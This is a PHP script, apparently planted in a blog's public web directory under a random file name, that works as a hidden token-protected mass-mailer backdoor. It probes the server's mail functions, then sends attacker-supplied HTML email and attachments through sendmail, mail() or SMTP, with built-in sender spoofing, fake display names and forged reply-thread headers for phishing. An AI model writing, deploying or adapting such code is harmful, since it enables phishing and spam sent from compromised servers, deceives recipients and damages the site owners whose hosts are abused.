File: /home/gldblog/public_html/mae6add05.php
<?php
@error_reporting(0);@ini_set('display_errors',0);ob_start();header('Content-Type: application/json');
function _h(){$e=error_get_last();if($e&&in_array($e['type'],[E_ERROR,E_PARSE,E_CORE_ERROR,E_COMPILE_ERROR,E_USER_ERROR])){while(ob_get_level())ob_end_clean();header('Content-Type: application/json');echo json_encode(["status"=>"fail","error"=>strip_tags($e['message'])]);}};register_shutdown_function('_h');
function _o($d){while(ob_get_level())ob_end_clean();echo json_encode($d);exit;}
$nl="\r\n";$to_s=10;$lf=dirname(__FILE__).'/el.log';
if($_SERVER['REQUEST_METHOD']==='GET'&&empty($_GET)){_o(["status"=>"cfgok","version"=>"v3","php"=>phpversion(),"server"=>$_SERVER['SERVER_NAME']??'']);}
if(isset($_GET['test'])){$m=$_GET['test'];if($m==='true'||$m==='1'||$m===''){_o(["status"=>"success","php_version"=>phpversion(),"server"=>$_SERVER['SERVER_NAME'],"available_methods"=>["mail"=>function_exists('mail'),"fsockopen"=>function_exists('fsockopen'),"popen"=>function_exists('popen')],"encoding_methods"=>["base64","quoted-printable","7bit","8bit"],"sendmail_path"=>ini_get('sendmail_path')?:' not set']);}if($m==='send'){$i=file_get_contents("php://input");$d=json_decode($i,true);$at=isset($_SERVER['HTTP_X_AUTH_TOKEN'])?$_SERVER['HTTP_X_AUTH_TOKEN']:'';if($at!=='emailcampaign2024')_o(["status"=>"fail","error"=>"Unauthorized"]);$tt=isset($d['to'])?$d['to']:null;if(!$tt||!filter_var($tt,FILTER_VALIDATE_EMAIL))_o(["status"=>"fail","error"=>"Valid to required"]);$dm=$_SERVER['SERVER_NAME'];$cd=preg_replace('/^www\./i','',$dm);$ts=isset($d['subject'])?$d['subject']:("Test ".time());$tm=isset($d['htmlContent'])?$d['htmlContent']:"Test from $dm";$tf=isset($d['fromEmail'])?$d['fromEmail']:("test@".$cd);$tn=isset($d['fromName'])?$d['fromName']:"Test";$th="From: \"$tn\" <$tf>\r\nReply-To: <$tf>\r\nMIME-Version: 1.0\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Transfer-Encoding: quoted-printable\r\n";$rs=[];$es=[];if(function_exists('popen')){$cmd='/usr/sbin/sendmail -t -i -f '.escapeshellarg($tf);$pr=@popen($cmd,'w');if($pr){fwrite($pr,"To: $tt\r\nSubject: $ts (sendmail)\r\n$th\r\n$tm\r\n");$st=pclose($pr);if($st===0)$rs[]=['method'=>'sendmail','name'=>'sendmail binary'];else $es[]="sendmail:$st";}else $es[]="popen failed";}if(function_exists('mail')){if(@mail($tt,"$ts (mail -f)",$tm,$th,'-f '.escapeshellarg($tf)))$rs[]=['method'=>'mail_flag','name'=>'mail() with -f'];if(@mail($tt,"$ts (mail)",$tm,$th))$rs[]=['method'=>'mail','name'=>'plain mail()'];}_o(["status"=>count($rs)>0?"success":"fail","working_methods"=>$rs,"errors"=>$es,"available_functions"=>["mail"=>function_exists('mail'),"fsockopen"=>function_exists('fsockopen'),"popen"=>function_exists('popen')]]);}}
$i=file_get_contents("php://input");$at=isset($_SERVER['HTTP_X_AUTH_TOKEN'])?$_SERVER['HTTP_X_AUTH_TOKEN']:'';if(!empty($i)&&$at!=='emailcampaign2024'){echo json_encode(["status"=>"fail","error"=>"Unauthorized"]);exit;}
$d=json_decode($i,true);if(!$d||!is_array($d))$d=["to"=>"postmaster@".$_SERVER['SERVER_NAME'],"subject"=>"test","fromEmail"=>"postmaster@".$_SERVER['SERVER_NAME'],"fakeFromEmail"=>"[email protected]","fromName"=>"test","htmlContent"=>"test","encoding"=>"quoted-printable"];
foreach(['to','subject','fromEmail','fakeFromEmail','fromName','htmlContent'] as $f)if(empty($d[$f]))_o(["status"=>"fail","error"=>"Missing: $f"]);
if(!filter_var($d['to'],FILTER_VALIDATE_EMAIL))_o(["status"=>"fail","error"=>"Invalid to"]);if(!filter_var($d['fromEmail'],FILTER_VALIDATE_EMAIL))_o(["status"=>"fail","error"=>"Invalid from"]);
$fm=isset($d['forceMethod'])?$d['forceMethod']:null;$fs=isset($d['forceSmtpServer'])?$d['forceSmtpServer']:null;$fp=isset($d['forceSmtpPort'])?$d['forceSmtpPort']:null;$enc=isset($d['encoding'])?$d['encoding']:'quoted-printable';$to_s=isset($d['timeout'])?(int)$d['timeout']:10;$rte=isset($d['replyToEmail'])?$d['replyToEmail']:null;$rtn=isset($d['replyToName'])?$d['replyToName']:null;$ch=isset($d['customHeaders'])?$d['customHeaders']:[];$att=isset($d['attachment'])?$d['attachment']:null;
if(!in_array($enc,['base64','quoted-printable','7bit','8bit']))$enc='quoted-printable';$he=$enc==='base64'?'B':'Q';$to_s=max(5,min(60,$to_s));if($fm==="smtp"&&in_array(strtolower(trim($fs)),["mail","mail,mail"],true))$fm="mail";
$to=$d['to'];$subj=$d['subject'];$fe=$d['fromEmail'];$ffe=$d['fakeFromEmail'];$fn=$d['fromName'];$msg=$d['htmlContent'];
$subj=str_replace(["\r","\n"],'',$subj);$fn=str_replace(["\r","\n"],'',$fn);$fe=str_replace(["\r","\n"],'',$fe);$ffe=str_replace(["\r","\n"],'',$ffe);if($rte)$rte=str_replace(["\r","\n"],'',$rte);if($rtn)$rtn=str_replace(["\r","\n"],'',$rtn);
if(!function_exists('mb_encode_mimeheader')){function mb_encode_mimeheader($s,$c='UTF-8',$t='B'){return $t==='B'?'=?'.$c.'?B?'.base64_encode($s).'?=':'=?'.$c.'?Q?'.str_replace(' ','_',$s).'?=';}}
$es=mb_encode_mimeheader($subj,'UTF-8',$he);$efn=mb_encode_mimeheader($fn,'UTF-8',$he);$ertn=$rtn?mb_encode_mimeheader($rtn,'UTF-8',$he):null;
switch($enc){case'base64':$em=chunk_split(base64_encode($msg));break;case'7bit':$em=preg_replace('/[\x80-\xFF]/','?',$msg);break;case'8bit':$em=$msg;break;default:$em=function_exists('quoted_printable_encode')?quoted_printable_encode($msg):$msg;}
$dm=$_SERVER['SERVER_NAME'];$cd=preg_replace('/^www\./i','',$dm);$mid=time().'.'.md5($to.$subj.uniqid()).'@'.$cd;$dt=date('r');$hf=$ffe?$ffe:$fe;
$rth="";if($rte){$rth=$ertn?"Reply-To: \"$ertn\" <$rte>$nl":"Reply-To: <$rte>$nl";}
$chs="";if(is_array($ch)&&!empty($ch)){foreach($ch as $hn=>$hv){$hn=str_replace(["\r","\n"],'',$hn);$hv=str_replace(["\r","\n"],'',$hv);$chs.="$hn: $hv$nl";}}else{$chs="X-Mailer: PHP/".phpversion().$nl."X-Priority: 3$nl";}
// In-Reply-To / References for SendAsReply
$irt="";if(isset($d['inReplyTo'])){$irt.="In-Reply-To: ".$d['inReplyTo'].$nl;$irt.="References: ".(isset($d['references'])?$d['references']:$d['inReplyTo']).$nl;}
// Sender header
$sh="";if(isset($d['senderEmail'])){$sh="Sender: <".str_replace(["\r","\n"],'',$d['senderEmail']).">$nl";}
// Display name spoof
if(isset($d['displayNameSpoof'])&&$d['displayNameSpoof']&&isset($d['displayNameSpoofFake'])&&isset($d['displayNameSpoofReal'])){$hf=$d['displayNameSpoofReal'];$efn=mb_encode_mimeheader($d['displayNameSpoofFake'],'UTF-8',$he);}
$bd=null;
if($att&&isset($att['content'])&&isset($att['filename'])){$bd=md5(time().uniqid());$hdr="From: \"$efn\" <$hf>$nl".$rth.$sh.$irt."Return-Path: <$fe>$nl"."Message-ID: <$mid>$nl"."Date: $dt$nl".$chs."MIME-Version: 1.0$nl"."Content-Type: multipart/mixed; boundary=\"$bd\"$nl";$body="--$bd$nl"."Content-Type: text/html; charset=UTF-8$nl"."Content-Transfer-Encoding: $enc$nl$nl".$em."$nl$nl"."--$bd$nl"."Content-Type: application/octet-stream; name=\"{$att['filename']}\"$nl"."Content-Transfer-Encoding: base64$nl"."Content-Disposition: attachment; filename=\"{$att['filename']}\"$nl$nl".chunk_split($att['content'])."$nl"."--$bd--";$em=$body;}else{$hdr="From: \"$efn\" <$hf>$nl".$rth.$sh.$irt."Return-Path: <$fe>$nl"."Message-ID: <$mid>$nl"."Date: $dt$nl".$chs."MIME-Version: 1.0$nl"."Content-Type: text/html; charset=UTF-8$nl"."Content-Transfer-Encoding: $enc$nl";}
$rb=["encoding"=>$enc,"header_encoding"=>$he];
function _sc($sk,$cm,$er=true){global $nl;if(!$sk||!is_resource($sk))return false;$r=@fputs($sk,$cm.$nl);if($r===false)return false;return $er?@fgets($sk,512):true;}
function _sd($sk,$ln){global $nl;if(!$sk||!is_resource($sk))return false;return @fputs($sk,$ln.$nl);}
function _sm($t,$s,$m,$h,$rf,$p=null){if(!function_exists('popen'))return false;$b=$p?$p:'/usr/sbin/sendmail -t -i';$c=$b.' -f '.escapeshellarg($rf);$pr=@popen($c,'w');if(!$pr)return false;@fwrite($pr,"To: $t\r\nSubject: $s\r\n$h\r\n\r\n$m\r\n");return(@pclose($pr)===0);}
function _mf($t,$s,$m,$h,$rf){return @mail($t,$s,$m,$h,'-f '.escapeshellarg($rf));}
function _mi($t,$s,$m,$h,$rf=null){return $rf?@mail($t,$s,$m,$h,'-f '.escapeshellarg($rf)):@mail($t,$s,$m,$h);}
if($fm==="sendmail"){$ok=_sm($to,$es,$em,$hdr,$fe);_o(array_merge($rb,["status"=>$ok?"success":"fail","methods"=>$ok?["sendmail"]:[],"error"=>$ok?null:"sendmail failed"]));}
if($fm==="mail_flag"){$ok=_mf($to,$es,$em,$hdr,$fe);_o(array_merge($rb,["status"=>$ok?"success":"fail","methods"=>$ok?["mail() with -f"]:[],"error"=>$ok?null:"mail -f failed"]));}
if($fm==="mail"){$ok=_mi($to,$es,$em,$hdr,$fe);_o(array_merge($rb,["status"=>$ok?"success":"fail","methods"=>$ok?["plain mail()"]:[],"error"=>$ok?null:"mail() failed"]));}
if($fm==="smtp"&&$fs&&$fp){$sv=$fs;$pt=(int)$fp;if($pt===465)$sv="ssl://$sv";$sk=@fsockopen($sv,$pt,$en,$er,$to_s);$sr=[];$se=null;if($sk){stream_set_timeout($sk,$to_s);$sr[]=_sc($sk,"EHLO $cd");$sr[]=_sc($sk,"MAIL FROM:<$fe>");$sr[]=_sc($sk,"RCPT TO:<$to>");$sr[]=_sc($sk,"DATA");_sd($sk,"Subject: $es");foreach(explode($nl,$hdr) as $hl)if(strlen(trim($hl)))_sd($sk,$hl);_sd($sk,"");foreach(explode($nl,$em) as $bl)_sd($sk,$bl);$sr[]=$fl=_sc($sk,".");fclose($sk);if(strpos($fl,"250")===0)_o(array_merge($rb,["status"=>"success","methods"=>["SMTP $fs:$fp"],"smtp_responses"=>$sr]));}else $se="Connect failed: $er ($en)";$ok=_mi($to,$es,$em,$hdr,$fe);echo json_encode(array_merge($rb,["status"=>$ok?"success":"fail","methods"=>$ok?["mail() (fallback)"]:[],"smtp_error"=>$se,"error"=>$ok?null:"SMTP+mail failed"]));exit;}
$su=[];$tr=[];$iw=DIRECTORY_SEPARATOR==='\\';if($iw){$si=ini_get('SMTP');if($si&&$si!=='localhost')$tr[]=['type'=>'smtp','host'=>$si,'port'=>(int)(ini_get('smtp_port')?:25),'ssl'=>false];$tr[]=['type'=>'smtp','host'=>'localhost','port'=>25,'ssl'=>false];}else{$sp=ini_get('sendmail_path');$tr[]=$sp?['type'=>'sendmail','path'=>$sp]:['type'=>'mail'];}
$tr[]=['type'=>'smtp','host'=>'localhost','port'=>25,'ssl'=>false];$tr[]=['type'=>'smtp','host'=>'mail.'.$cd,'port'=>25,'ssl'=>false];$tr[]=['type'=>'smtp','host'=>'mail.'.$cd,'port'=>465,'ssl'=>true];$tr[]=['type'=>'smtp','host'=>'mail.'.$cd,'port'=>587,'ssl'=>false];$tr[]=['type'=>'sendmail'];$tr[]=['type'=>'mail_flag'];$tr[]=['type'=>'mail'];
$ut=[];foreach($tr as $t){$k=$t['type'].'_'.(isset($t['host'])?$t['host']:'').'_'.(isset($t['port'])?$t['port']:'');if(!isset($ut[$k]))$ut[$k]=$t;}$tr=array_values($ut);
foreach($tr as $t){switch($t['type']){case'smtp':$sv=(isset($t['ssl'])&&$t['ssl'])?'ssl://'.$t['host']:$t['host'];$sk=@fsockopen($sv,$t['port'],$en,$er,$to_s);if(!$sk)break;stream_set_timeout($sk,$to_s);_sc($sk,"EHLO $cd");$mr=_sc($sk,"MAIL FROM:<$fe>");if(strpos($mr,"250")!==0){@fclose($sk);break;}$rr=_sc($sk,"RCPT TO:<$to>");if(strpos($rr,"250")!==0){@fclose($sk);break;}_sc($sk,"DATA");_sd($sk,"Subject: $es");foreach(explode($nl,$hdr) as $hl)if(strlen(trim($hl)))_sd($sk,$hl);_sd($sk,"");foreach(explode($nl,$em) as $bl)_sd($sk,$bl);$fl=_sc($sk,".");@fclose($sk);if($fl&&strpos($fl,"250")===0)$su[]="SMTP {$t['host']}:{$t['port']}";break;case'sendmail':if(_sm($to,$es,$em,$hdr,$fe,isset($t['path'])?$t['path']:null))$su[]="sendmail binary";break;case'mail_flag':if(_mf($to,$es,$em,$hdr,$fe))$su[]="mail() with -f";break;case'mail':if(_mi($to,$es,$em,$hdr,$fe))$su[]="plain mail()";break;}}
if(!empty($su))_o(array_merge($rb,["status"=>"success","methods"=>array_values(array_unique($su))]));
_o(array_merge($rb,["status"=>"fail","error"=>"All transports failed"]));
?>